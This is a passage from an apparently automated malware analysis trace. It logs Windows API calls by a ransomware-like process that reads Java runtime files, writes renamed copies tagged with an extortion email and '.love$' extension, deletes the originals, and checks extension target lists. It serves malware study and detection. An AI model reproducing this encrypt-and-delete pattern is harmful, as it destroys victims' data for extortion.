lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x3b40c, lpOverlapped=0x0) returned 1 [0235.846] WriteFile (in: hFile=0x46c, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x3b410, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x3b410, lpOverlapped=0x0) returned 1 [0235.852] ReadFile (in: hFile=0x45c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0235.852] WriteFile (in: hFile=0x46c, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x10a, lpOverlapped=0x0) returned 1 [0235.852] SetEndOfFile (hFile=0x46c) returned 1 [0235.852] CloseHandle (hObject=0x46c) returned 1 [0235.852] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0235.852] SetEndOfFile (hFile=0x45c) returned 1 [0235.859] CloseHandle (hObject=0x45c) returned 1 [0235.859] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0235.860] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf")) returned 1 [0235.861] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0235.861] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0235.861] lstrlenW (lpString=".doc") returned 4 [0235.861] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0235.861] lstrlenW (lpString=".docx") returned 5 [0235.861] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1 [0235.861] lstrlenW (lpString=".pdf") returned 4 [0235.861] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0235.861] lstrlenW (lpString=".xls") returned 4 [0235.861] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0235.861] lstrlenW (lpString=".xlsx") returned 5 [0235.861] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1 [0235.861] lstrlenW (lpString=".ppt") returned 4 [0235.861] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0235.861] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0235.861] lstrlenW (lpString=".zip") returned 4 [0235.861] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0235.861] lstrlenW (lpString=".rar") returned 4 [0235.861] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0235.861] lstrlenW (lpString=".bz2") returned 4 [0235.862] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0235.862] lstrlenW (lpString=".7z") returned 3 [0235.862] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0235.862] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0235.862] lstrlenW (lpString=".dbf") returned 4 [0235.862] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0235.862] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0235.862] lstrlenW (lpString=".1cd") returned 4 [0235.862] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0235.862] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0235.862] lstrlenW (lpString=".jpg") returned 4 [0235.862] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0235.862] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0235.862] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0235.862] lstrlenW (lpString=".doc") returned 4 [0235.862] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0235.862] lstrlenW (lpString=".docx") returned 5 [0235.862] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1 [0235.862] lstrlenW (lpString=".pdf") returned 4 [0235.862] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0235.862] lstrlenW (lpString=".xls") returned 4 [0235.862] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0235.862] lstrlenW (lpString=".xlsx") returned 5 [0235.862] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1 [0235.862] lstrlenW (lpString=".ppt") returned 4 [0235.862] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0235.862] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0235.862] lstrlenW (lpString=".zip") returned 4 [0235.862] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0235.862] lstrlenW (lpString=".rar") returned 4 [0235.862] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0235.862] lstrlenW (lpString=".bz2") returned 4 [0235.863] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0235.863] lstrlenW (lpString=".7z") returned 3 [0235.863] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0235.863] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0235.863] lstrlenW (lpString=".dbf") returned 4 [0235.863] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0235.863] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0235.863] lstrlenW (lpString=".1cd") returned 4 [0235.863] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0235.863] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0235.863] lstrlenW (lpString=".jpg") returned 4 [0235.863] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0235.863] lstrcmpiW (lpString1=".properties", lpString2=".love$") returned 1 [0235.863] lstrlenW (lpString="hijrah-config-umalqura.properties") returned 33 [0235.863] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0235.864] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=13962) returned 1 [0235.864] CloseHandle (hObject=0x45c) returned 1 [0235.864] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties")) returned 0x20 [0235.864] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0235.864] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0235.865] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0235.865] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0235.865] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c [0236.080] GetLastError () returned 0x0 [0236.080] ReadFile (in: hFile=0x45c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x368a, lpOverlapped=0x0) returned 1 [0237.758] WriteFile (in: hFile=0x46c, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x3690, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x3690, lpOverlapped=0x0) returned 1 [0237.760] ReadFile (in: hFile=0x45c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0237.760] WriteFile (in: hFile=0x46c, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x116, lpOverlapped=0x0) returned 1 [0237.760] SetEndOfFile (hFile=0x46c) returned 1 [0237.761] CloseHandle (hObject=0x46c) returned 1 [0237.761] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0237.761] SetEndOfFile (hFile=0x45c) returned 1 [0237.994] CloseHandle (hObject=0x45c) returned 1 [0237.995] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0237.995] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties")) returned 1 [0237.996] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0237.996] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0237.996] lstrlenW (lpString=".doc") returned 4 [0237.996] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0237.996] lstrlenW (lpString=".docx") returned 5 [0237.996] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0237.996] lstrlenW (lpString=".pdf") returned 4 [0237.996] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0237.996] lstrlenW (lpString=".xls") returned 4 [0237.996] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0237.996] lstrlenW (lpString=".xlsx") returned 5 [0237.996] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0237.996] lstrlenW (lpString=".ppt") returned 4 [0237.996] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0237.997] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0237.997] lstrlenW (lpString=".zip") returned 4 [0237.997] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0237.997] lstrlenW (lpString=".rar") returned 4 [0237.997] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0237.997] lstrlenW (lpString=".bz2") returned 4 [0237.997] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0237.997] lstrlenW (lpString=".7z") returned 3 [0237.997] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0237.997] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0237.997] lstrlenW (lpString=".dbf") returned 4 [0237.997] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0237.997] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0237.997] lstrlenW (lpString=".1cd") returned 4 [0237.997] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0237.997] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0237.997] lstrlenW (lpString=".jpg") returned 4 [0237.997] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0237.997] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0237.997] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0237.997] lstrlenW (lpString=".doc") returned 4 [0237.997] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0237.997] lstrlenW (lpString=".docx") returned 5 [0237.997] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0237.997] lstrlenW (lpString=".pdf") returned 4 [0237.997] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0237.997] lstrlenW (lpString=".xls") returned 4 [0237.998] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0237.998] lstrlenW (lpString=".xlsx") returned 5 [0237.998] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0237.998] lstrlenW (lpString=".ppt") returned 4 [0237.998] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0237.998] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0237.998] lstrlenW (lpString=".zip") returned 4 [0237.998] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0237.998] lstrlenW (lpString=".rar") returned 4 [0237.998] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0237.998] lstrlenW (lpString=".bz2") returned 4 [0237.998] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0237.998] lstrlenW (lpString=".7z") returned 3 [0237.998] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0237.998] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0237.998] lstrlenW (lpString=".dbf") returned 4 [0237.998] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0237.998] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0237.998] lstrlenW (lpString=".1cd") returned 4 [0237.998] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0237.998] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72 [0237.998] lstrlenW (lpString=".jpg") returned 4 [0237.998] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0237.999] lstrcmpiW (lpString1=".jar", lpString2=".love$") returned -1 [0237.999] lstrlenW (lpString="jce.jar") returned 7 [0237.999] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0238.000] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=116446) returned 1 [0238.000] CloseHandle (hObject=0x45c) returned 1 [0238.000] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar")) returned 0x20 [0238.000] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0238.000] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0238.001] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0238.001] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0238.001] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c [0238.001] GetLastError () returned 0x0 [0238.001] ReadFile (in: hFile=0x45c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x1c6de, lpOverlapped=0x0) returned 1 [0238.024] WriteFile (in: hFile=0x46c, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x1c6e0, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x1c6e0, lpOverlapped=0x0) returned 1 [0238.027] ReadFile (in: hFile=0x45c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0238.028] WriteFile (in: hFile=0x46c, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0xe2, lpOverlapped=0x0) returned 1 [0238.028] SetEndOfFile (hFile=0x46c) returned 1 [0238.028] CloseHandle (hObject=0x46c) returned 1 [0238.028] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0238.028] SetEndOfFile (hFile=0x45c) returned 1 [0238.041] CloseHandle (hObject=0x45c) returned 1 [0238.042] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0238.042] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar")) returned 1 [0238.043] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0238.043] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0238.043] lstrlenW (lpString=".doc") returned 4 [0238.043] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0238.043] lstrlenW (lpString=".docx") returned 5 [0238.043] lstrcmpiW (lpString1=".docx", lpString2="e.jar") returned -1 [0238.043] lstrlenW (lpString=".pdf") returned 4 [0238.043] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0238.043] lstrlenW (lpString=".xls") returned 4 [0238.043] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0238.043] lstrlenW (lpString=".xlsx") returned 5 [0238.043] lstrcmpiW (lpString1=".xlsx", lpString2="e.jar") returned -1 [0238.043] lstrlenW (lpString=".ppt") returned 4 [0238.043] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0238.043] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0238.043] lstrlenW (lpString=".zip") returned 4 [0238.043] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0238.043] lstrlenW (lpString=".rar") returned 4 [0238.043] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0238.043] lstrlenW (lpString=".bz2") returned 4 [0238.043] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0238.044] lstrlenW (lpString=".7z") returned 3 [0238.044] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0238.044] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0238.044] lstrlenW (lpString=".dbf") returned 4 [0238.044] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0238.044] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0238.044] lstrlenW (lpString=".1cd") returned 4 [0238.044] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0238.044] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0238.044] lstrlenW (lpString=".jpg") returned 4 [0238.044] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0238.044] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0238.044] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0238.044] lstrlenW (lpString=".doc") returned 4 [0238.044] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0238.044] lstrlenW (lpString=".docx") returned 5 [0238.044] lstrcmpiW (lpString1=".docx", lpString2="e.jar") returned -1 [0238.044] lstrlenW (lpString=".pdf") returned 4 [0238.044] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0238.044] lstrlenW (lpString=".xls") returned 4 [0238.044] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0238.044] lstrlenW (lpString=".xlsx") returned 5 [0238.044] lstrcmpiW (lpString1=".xlsx", lpString2="e.jar") returned -1 [0238.044] lstrlenW (lpString=".ppt") returned 4 [0238.044] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0238.044] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0238.044] lstrlenW (lpString=".zip") returned 4 [0238.044] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0238.045] lstrlenW (lpString=".rar") returned 4 [0238.045] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0238.045] lstrlenW (lpString=".bz2") returned 4 [0238.045] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0238.045] lstrlenW (lpString=".7z") returned 3 [0238.045] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0238.045] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0238.045] lstrlenW (lpString=".dbf") returned 4 [0238.045] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0238.045] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0238.045] lstrlenW (lpString=".1cd") returned 4 [0238.045] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0238.045] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0238.045] lstrlenW (lpString=".jpg") returned 4 [0238.045] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0238.045] lstrcmpiW (lpString1=".jfc", lpString2=".love$") returned -1 [0238.045] lstrlenW (lpString="default.jfc") returned 11 [0238.045] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0238.046] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=20109) returned 1 [0238.046] CloseHandle (hObject=0x45c) returned 1 [0238.046] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc")) returned 0x20 [0238.047] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0238.047] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0238.047] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0238.047] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0238.047] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\default.jfc.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0238.140] GetLastError () returned 0x0 [0238.140] ReadFile (in: hFile=0x45c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x4e8d, lpOverlapped=0x0) returned 1 [0238.143] WriteFile (in: hFile=0x4f0, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x4e90, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x4e90, lpOverlapped=0x0) returned 1 [0238.145] ReadFile (in: hFile=0x45c, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0238.145] WriteFile (in: hFile=0x4f0, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0xea, lpOverlapped=0x0) returned 1 [0238.145] SetEndOfFile (hFile=0x4f0) returned 1 [0238.145] CloseHandle (hObject=0x4f0) returned 1 [0238.145] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, 